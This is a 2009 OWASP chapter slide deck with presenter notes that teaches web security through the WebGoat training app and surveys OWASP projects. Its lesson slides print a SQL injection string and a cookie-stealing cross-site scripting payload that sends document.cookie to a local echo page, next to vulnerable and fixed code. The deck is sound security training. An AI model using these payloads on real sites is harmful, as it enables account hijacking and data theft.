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Presenter
Presentation Notes
The OWASP WebGoat demonstration will be both a tutorial in web application security and the presentation of a  free, open source tool. 



WebGoat has been been used since 2001 to teach web application security concepts to developers. The latest version (5.1) includes new lessons in WebServices and Ajax. This presentation will discuss the attacks and defenses for SQL-Injection, Cross Site Scripting, Web Services and AJAX. During the explanation of the attacks you will see each of the helpful learning tools included in WebGoat. These include features like “show java”. “show parameters” and “hints”. You will also receive links where you can download an easy-to-install package for your platform.



By the end of the presentation participants will have a fresh view of web application vulnerabilities and a working knowledge of WebGoat for personal training or training others. 
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– Speaker
• Robert Sullivan, past Twin Cities chap. lead
• Contributor to WebGoat
• Application Developer 

– Mainstream: Assembly, C, C++, Java, Flex
– Fun: Lisp, Smalltalk,  

• Security Guy (4 years)
• Focus on Healthcare industry
• Security manager and OWASP volunteer

OWASP
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– Why bother with web app security?
• Web Hack Incidents Database 
• http://www.webappsec.org/projects/whid/

– We still have so much to learn.
• Network Solutions Data Breach 7/24/2009
• CSI Computer Crime Survey 2008

OWASP

Presenter
Presentation Notes




http://www.webappsec.org/projects/whid/
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Herndon, VA
• 7/24/09
• Hacker 

breached 
computers

• Servers 
contained 
573,000 
debit and 
credit card 
accounts

Presenter
Presentation Notes
Track it at datalossdb.org
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Network Solutions Hack Compromises 573,000 Credit, Debit Accounts

Hackers have broken into Web servers owned by domain registrar and hosting provider Network Solutions, planting rogue code that resulted in the compromise of more than 573,000 debit and credit card accounts over the past three months, Security Fix has learned. 

Herndon, Va. based Network Solutions discovered in early June that attackers had hacked into Web servers the company uses to provide e-commerce services - a package that includes everything from Web hosting to payment processing -- to at least 4,343 customers, mostly mom-and-pop online stores. The malicious code left behind by the attackers allowed them to intercept personal and financial information for customers who purchased from those stores, Network Solutions spokeswoman Susan Wade said. 

Wade said the company is working with federal law enforcement and a commercial data breach forensics team to determine the cause and source of the break-in. The payment data stolen was captured from transactions made between March 12, 2009 and June 8, 2009.

On Friday, Network Solutions began notifying affected customers by e-mail and postal mail. Due to the potential high cost of notifying individual victims, the hosting company is offering to handle the notification of affected customers of the breached online stores. Forty-five states and the District of Columbia have enacted laws requiring organizations to notify consumers when a data breach or loss jeopardizes the security of personal and financial data, but the rules for complying with those laws differ from state to state. 

"We feel terribly about it to burden them with the notification process, which can be kind of tricky because there is no one federal data breach statute," Wade said. 

Network Solutions also is offering to pay for 12 months of credit monitoring service through Trans Union for each consumer whose financial and personal data was compromised. 
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Source: 2008 CSI Computer Crime Survey

Presenter
Presentation Notes
I like this survey. Of the 10 reports I’ve seen this year, this seems to have the least vendor-bias.

Trouble is, it’s a survey so folks volunteer what that are willing to.



While they do not disclose that incidents are increasing we do get some honest numbers for the cost of an incident.

This makes it easy for you to see that any one of these incidents could be very expensive.
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OWASP

• Agenda
• Is this a web problem?
• Introduction to OWASP
• Boot Live CD
• Launch WebGoat
• Run ESAPI Swing Set
• Present additional OWASP projects

Presenter
Presentation Notes
Is this really a web problem?

Think about money. When people want to protect it they lock it up.

From time to time people rob a bank (hacking) or shake you down in the street (laptop theft).

How can we extend the analogy to cover web data disclosures?



It’s like the armoured car guys have just arrived to fill the ATM and they leave the door open. 
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What Can 
Be Done?

http://datalossdb.org/statistics
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– Minneapolis-St Paul chapter
– Events and videos of past events
– http://www.owasp.org, 
– owasp-twincities@lists.owasp.org

OWASP Minneapolis St 
Paul

mailto:owasp-twincities@lists.owasp.org
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– Top 10
– OWASP Guide
– OWASP Enterprise Security API
– Application Security Verification
– AntiSamy
– LiveCD
– OWASP CLASP
– OWASP Testing Guide

OWASP Projects
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•Release Quality Projects
•Quality of professional tools or documents

•Beta Status Projects
•Complete and ready to use with documentation

•Alpha Status Projects
•Usable, lacks documentation or quality review

•Season of Code Projects
•Minimally funded, short project

OWASP Project Categories
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WebGoat Demo

“Web application vulnerabilities in open- 
source as well as custom-built applications 
account for almost half the total number of 
vulnerabilities being discovered in the past 
year. “

SANS Top 20, 2007

OWASP

Release

Presenter
Presentation Notes
The new web app vulnerabilities are not victims to direct-attack. Instead, they are susceptible to infection by infected networks, malicious email and malicious websites.
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WebGoat Demo
• The Problem:

– Attackers have unlimited time to find new ways to break software
– Writing ‘resilient to attack’ software is a new challenge
– Application testing centers on functionality
– Application security failures are hushed

• The Solution:
– Show developers all the ways that software can break
– Teach how to write software that is resilient to attack
– Distribute an application where security failures are documented
– Freely talk about known vulnerabilities
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SQL Injection

• SQL-Injection (String SQL Injection)
• Say your application accepts user-input
• You put in your name ‘Smith’
• You decide to be greedy and know some 

SQL
• You Try: Smith'  or '1'='1
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SQL Injection 
Screen Shot
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Good Prepared Statement

String lastName = s.getParser().getRawParameter( 
LAST_NAME, "101" );

String query = "SELECT * FROM user_data WHERE 
last_name = ?”;

try
{

PreparedStatement statement = 
conn.prepareStatement(query );

statement.setString(1, lastName);
ResultSet results = statement.executeQuery( query );
…

Presenter
Presentation Notes
This is better than not using a PreparedStatement. An even better practice is described in the OWASP guide that further reduces the chance of data leakage by using an account index as well as they user’s id. See the section on Data Validation Strategies.



7/27/2009

Cross Site Scripting

• Go to the Cross Site Scripting Lesson
• Read the lesson plan
• Create some blog entries like this:
<script language="javascript" type="text/javascript">alert("This page is 

corrupted");</script>
<script>document.location='http://localhost/echo.jsp?arg1='+document.cookie;</script>

• See how reading a blog entry re-directs 
you to another page
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AJAX Vulnerable Code

function displayGreeting(name) {
if (name != ''){
document.getElementById("greeting"). 
innerHTML="Hello, " + name + "!";
}

}

Presenter
Presentation Notes
Here, the name argument is displayed back to the user without validation.

It needs to be filtered before being rendered back to the user.
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AJAX Escape Function

function escapeHTML (str) {
var div = document.createElement('div');
var text = document.createTextNode(str);
div.appendChild(text);
return div.innerHTML;

}

Presenter
Presentation Notes
Here is a javaScript function that will keep  the string from rendering anything malicious. Use it around the name variable in the display operation.
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AJAX Good Code

function displayGreeting(name) {
if (name != ''){

document.getElementById("greeting").i 
nnerHTML="Hello, " + 
escapeHTML(name) + "!";
}

}

Presenter
Presentation Notes
Here, the name argument is displayed back to the user without validation.

It needs to be filtered before being rendered back to the user.
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XSS Attack String

<script>document.location 
='http://localhost:8080/ 
echo.jsp?arg1='+ 
document.cookie; 
</script>
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Web Services
• WebServices Lesson
• Count WebServices Operations
• 8,9,10,11
• Argh, Show Java, copy to Notepad, search for 

‘count’.
• Aha!, use 4.
• Start Proxy (tcpmon or WebScarab)
• Intercept and manipulate a request
• See that you did it.
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Ajax

• Ajax: A different programming model than 
older web sites…
– Client initiates requests constantly
– Provides all of the attack vectors of a website 

and all of the attack vectors of a rich-client
– Demonstrate DOM-Based cross-site scripting
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WebGoat Demo

• WebGoat Main Page
http://www.owasp.org

• Download Page 
http://code.google.com/p/webgoat

• The Book can be downloaded 
(free) or purchased

Presenter
Presentation Notes
The standard release is a download, unzip, and click-to-run release. It comes with the Java Runtime Environment and a configured Tomcat 5.5 server. 

http://www.owasp.org/
http://code.google.com/p/webgoat/downloads/list
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A1 Cross Site Scripting (XSS)

A2 Injection Flaws

A3 Malicious File Execution

A4 Insecure Direct Object Reference

A5 Cross Site Request Forgery (CSRF)

A6 Information Leakage and Improper Error Handling

A7 Broken Authentication and Session Management

A8 Insecure Cryptographic Storage

A9 Insecure Communications

A10 Failure to Restrict URL Access

OWASP Top 10 2007

Release
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•Initial version was downloaded over 2 million times
•Referenced by many government, financial, and 
corporate standards
•The Gold standard for web application security
•Aimed at architects, developers, consultants and 
auditors
•Comprehensive manual for designing, developing 
and deploying secure web applications
•Version 3.0 is underway, please help.

OWASP Development 
Guide

Release
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About OWASP
Policy Frameworks
Secure Coding Principles
Threat Risk Modeling
e-Commerce Payments
Phishing
Web Services
Ajax and other Rich interfaces
Authentication
Authorization
Session Management
Data Validation

OWASP Development 
Guide

Interpreter Injection
Canonicalization
Error Handling, Auditing, Logging
File System
Distributed Computing
Buffer Overflows
Administrative Interface
Cryptography
Configuration
Software Quality Assurance
Deployment
Maintenance

Release
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ESAPI is a free and open collection of all the security 
methods that a developer needs to build a secure web 
application.

• Use the interfaces and build your own 
implementation

• Use the reference implementation as a starting point.

• Java is available: release quality

• .NET and Classic ASP: alpha quality

• PHP, ColdFusion, Python, Haskell : pre-alpha 

OWASP ESAPI

Release

Presenter
Presentation Notes
The ESAPI architecture is very simple, just a collection of classes that encapsulate the key security operations most applications need. ESAPI is designed to make it easy to retrofit security into existing applications, as well as providing a solid foundation for new development. New development project should consider integrating ESAPI into their framework to make even more of the security happen automatically. ESAPI comes with an ESAPI filter that minimizes the changes required to your base application. 
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OWASP ESAPI

Release
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ESAPI Demo
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AntiSamy

• It's an API that helps you make sure that 
clients don't supply malicious cargo code 
in the HTML they supply for their profile 
that gets persisted on the server.

• Must be called from your code
• Available for Java and .NET
• Four sample policy files
• Python version being prototyped

Release
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ASVS: Verification Standard

Release

Presenter
Presentation Notes
Application Security Verification Standard

Updated 6/09

Defines Verification levels 1 – 4

Specifies Verification Requirements 1 – 14

Gives Reporting Requirements 1 – 4

Requirements for level 1:
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Testing framework
• Scope of what to test
• Principles of testing
• Testing techniques
• OWASP testing framework

Discusses advantages and disadvantages of manual inspections, 
threat modeling, code review, and penetration testing.

Helps organizations build a complete strategic testing process by 
identifying activities that should occur at various stages of the SDLC.

OWASP Testing Guide
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OWASP Testing Guide
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• Creates dynamic websites based on configuration 
choices and a database of vulnerabilities

• Some uses
• Evaluation of scanning tools
• Evaluation of WAFs
• Training
• Honeypots

OWASP SiteGenerator
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•A showcase for OWASP tools and documentation 
•Easy to use package 
•Make the tools easy to use 
•Stores current documentation 
•Documents how to use the tools
•Aligns the tools with the OWASP Testing Guide
•Current Version: AustinTerrier Feb, 2009

OWASP LiveCD
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Provide unbiased practical information and
guidance about application security tools.

Categories
• WAFs
• Vulnerability scanning tools
• Penetration testing tools
• Source (static) scanning tools
• Support tools

Approach (for each category)
• description
• strengths and weaknesses of tools
• criteria (e.g. ease of use, performance, cost, 
false positives)
• tools (open source, commercial)

OWASP Tools
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Comprehensive, Lightweight Application Security Process

A well-organized and structured approach for integrating security into 
your SDLC.

• Introduction to concepts
• Seven key Best Practices that define CLASP
• High-level security services that serve as the foundation
• Core principles for software development
• Roles
• Activities to augment the development process
• Advice on CLASP process engineering and roadmaps
• Checklisted coding guidelines
• Vulnerabilities
• Glossary

OWASP CLASP
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OWASP Other tools

CSRFGuard J2EE filter for preventing CSRF attacks
LAPSE Eclipse-based static analysis tool for Java
Live CD Analysis and testing tools
Live CD Ed Tutorials, challenges, and videos about tools
SQLiX Perl-based SQL scanner
Tiger Automates testing of web apps
WeBekci Web-based ModSecurity 2.x management tool
WSFuzzer Python-based web services SOAP fuzzer
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OWASP Links

– Visit the Minneapolis-St Paul chapter
• owasp-twincities@lists.owasp.org
• http://www.owasp.org/index.php/Minneapolis_St_P 

aul
– Monthly Meetings

• Metropolitan State, Minneapolis
– Visit OWASP

• http://www.owasp.org

mailto:owasp-twincities@lists.owasp.org
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Feedback

Presenter
Presentation Notes
From www.gmreinvention.com
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